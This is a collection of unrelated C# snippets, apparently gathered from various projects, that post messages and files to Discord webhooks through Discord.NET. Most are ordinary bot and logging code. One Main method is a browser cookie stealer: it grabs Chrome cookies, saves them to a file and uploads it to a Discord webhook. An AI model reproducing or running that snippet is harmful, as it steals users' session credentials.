private void Button_Click(object sender, RoutedEventArgs e)
{
string ChartName = TotalXPHeader.IsSelected ? "TotalChart" : "DiffChart";
SaveFile();
discord.SendFileAsync(Environment.CurrentDirectory + @"\" + ChartName + ".png", "");
}
public async Task SendMessage(DiscordWebhookClient webhook,
Proxy proxy,
string text,
IReadOnlyCollection <IAttachment> attachments)
{
var proxyUser = discord.GetUser(proxy.BotUser.DiscordId);
var username = $"{proxy.Name} [{proxyUser.Username}]";
var avatarUrl = proxy.HasAvatar
? $"{avatarBaseUrl}/{proxy.AvatarGuid}"
: proxyUser.GetAvatarUrl();
if (attachments?.Any() ?? false)
{
var first = true;
foreach (var a in attachments)
{
// TODO: Single multipart request
var stream = await new HttpClient().GetStreamAsync(a.Url);
await webhook.SendFileAsync(stream, a.Filename, first?text : String.Empty,
username : username,
avatarUrl : avatarUrl);
first = false;
}
}
else
{
await webhook.SendMessageAsync(text,
username : username,
avatarUrl : avatarUrl);
}
}
public async Task Upload(string comment, string filepath, string url)
{
using (var client = new DiscordWebhookClient(url))
{
await client.SendFileAsync(text : comment, filePath : filepath);
}
}
public async Task <ulong> RepostMessageAsync(ITextChannel chan, IMessage msg, Embed embed = null)
{
using (DiscordWebhookClient webhook = await this.TryGetWebhookAsync(chan))
{
if (webhook == null)
{
return(0);
}
try
{
Embed[] embeds = embed == null ? null : new[] { embed };
if (msg.Attachments.Count > 0)
{
IAttachment attachment = msg.Attachments.First();
using (Stream stream = await this.HttpClient.GetStreamAsync(attachment.ProxyUrl))
return(await webhook.SendFileAsync(stream, attachment.Filename, msg.Content, false, embeds, msg.Author.Username, msg.Author.GetAvatarUrl()));
}
else
{
return(await webhook.SendMessageAsync(msg.Content, false, embeds, msg.Author.Username, msg.Author.GetAvatarUrl()));
}
}
catch (Exception ex)
{
this.Logger.Nice("Webhook", ConsoleColor.Red, $"Could not send a message: {ex.Message}");
return(0);
}
}
}
public static async Task Run([BlobTrigger("{container_name}/{name}")] Stream myBlob, string name, ILogger log)
{
ulong webhookId = ulong.MinValue;
using (var client = new DiscordWebhookClient(webhookId, "{discord_key}"))
{
await client.SendFileAsync(myBlob, name, "Novo PDF Criado");
}
}
static void Main(string[] args)
{
ChromeGrabber g = new ChromeGrabber(); // Create Grabber
List<string> cookies = new List<string>();
g.GetCookies().ToList().ForEach(delegate (Chromium.Cookie c) // For every grabbed cookie:
{
cookies.Add($"Hostname: {c.HostKey} | Name: {c.Name} | Value: {c.EncryptedValue}"); // Add the cookie hostname, name, and value to the 'cookie' list
});
File.WriteAllLines("./cookies_save.txt", cookies); // Save cookies in cookies_save.txt
DiscordWebhookClient webhookClient = new DiscordWebhookClient(WebhookUrl); // Create Discord.NET DiscordWebhook
webhookClient.SendFileAsync("./cookies_save.txt", "here are your cookies:").Wait(); // Send the file including the cookies to discord webhook and wait until the message sent
}
public async Task TestAsync(string command, string name = "Default Name", string msg = "")
{
switch (command)
{
case "webhook":
ITextChannel t = Context.Channel as ITextChannel;
var webhook = await t.CreateWebhookAsync(name);
DiscordWebhookClient w = new DiscordWebhookClient(webhook);
await w.SendMessageAsync(msg);
await w.DeleteWebhookAsync();
await webhook.DeleteAsync();
break;
case "box":
ulong id = 0;
try
{
ITextChannel here = Context.Channel as ITextChannel;
var iBox = await here.CreateWebhookAsync("Touhou Box");
id = iBox.Id;
DiscordWebhookClient weeb = new DiscordWebhookClient(iBox);
await weeb.ModifyWebhookAsync(x => { x.Image = new Image(GetStreamFromURL("http://img.zeryx.xyz/LewdBoxLogo.jpg")); });
await weeb.SendFileAsync(GetStreamFromURL("http://img.zeryx.xyz/lewdboxes/touhou/cir001.png"), "cir001.png", "You got Cirno!");
await weeb.DeleteWebhookAsync();
break;
}
catch (Exception e)
{
Log(e.Message);
ITextChannel tempc = Context.Channel as ITextChannel;
var tempw = await tempc.GetWebhookAsync(id);
await tempw.DeleteAsync();
break;
}
}
}
public static void SendToDiscord(String message, ulong discord_webhook_id, String discord_webhook_token, String user, String avatarUrl, String attachment)
{
DiscordWebhookClient client = new DiscordWebhookClient(discord_webhook_id, discord_webhook_token);
Task <ulong> task;
// if the attachment is null, call sendmessageasync
if (attachment == null)
{
task = client.SendMessageAsync(text: message, username: user, avatarUrl: avatarUrl);
}
// else call sendFileAsync
else
{
task = client.SendFileAsync(filePath: attachment, text: message, username: user, avatarUrl: avatarUrl);
}
Task.WaitAll(task);
ulong result = task.Result;
}
void sinkLogMe(ICDEThing sender, object para)
{
var pData = para as TheEventLogData;
if (string.IsNullOrEmpty(MyBaseThing.Address) || pData == null || !IsConnected)
{
return;
}
switch (pData.EventCategory)
{
default:
case eLoggerCategory.NMIAudit:
case eLoggerCategory.NodeConnect:
return;
case eLoggerCategory.UserEvent:
case eLoggerCategory.ThingEvent:
break;
}
TheCommonUtils.cdeRunTaskAsync("webHook", async(_) =>
{
using (var client = new DiscordWebhookClient(MyBaseThing.Address))
{
Discord.Color tCol = Discord.Color.Default;
switch (pData.EventLevel)
{
case eMsgLevel.l4_Message:
tCol = Discord.Color.DarkGreen;
break;
case eMsgLevel.l1_Error:
tCol = Discord.Color.Red;
break;
case eMsgLevel.l2_Warning:
tCol = Discord.Color.LightOrange;
break;
case eMsgLevel.l6_Debug:
tCol = Discord.Color.LightGrey;
break;
case eMsgLevel.l7_HostDebugMessage:
tCol = Discord.Color.DarkerGrey;
break;
case eMsgLevel.l3_ImportantMessage:
tCol = Discord.Color.Green;
break;
}
var embed = new EmbedBuilder
{
Description = pData.EventName,
Title = pData.EventString,
Color = tCol,
Timestamp = pData.EventTime,
};
string tOrg = pData.EventTrigger;
if (string.IsNullOrEmpty(tOrg))
{
tOrg = pData.StationName;
}
// Webhooks are able to send multiple embeds per message
// As such, your embeds must be passed as a collection.
if (pData.EventData?.Length > 0)
{
using (var ms = new MemoryStream(pData.EventData))
{
await client.SendFileAsync(stream: ms, filename: "Image.jpg", text: $"Node \"{pData.StationName}\" had Event-Log entry for: {tOrg}", embeds: new[] { embed.Build() });
}
}
else
{
await client.SendMessageAsync(text: $"Event Log Entry for: {tOrg}", embeds: new[] { embed.Build() });
}
}
});
}
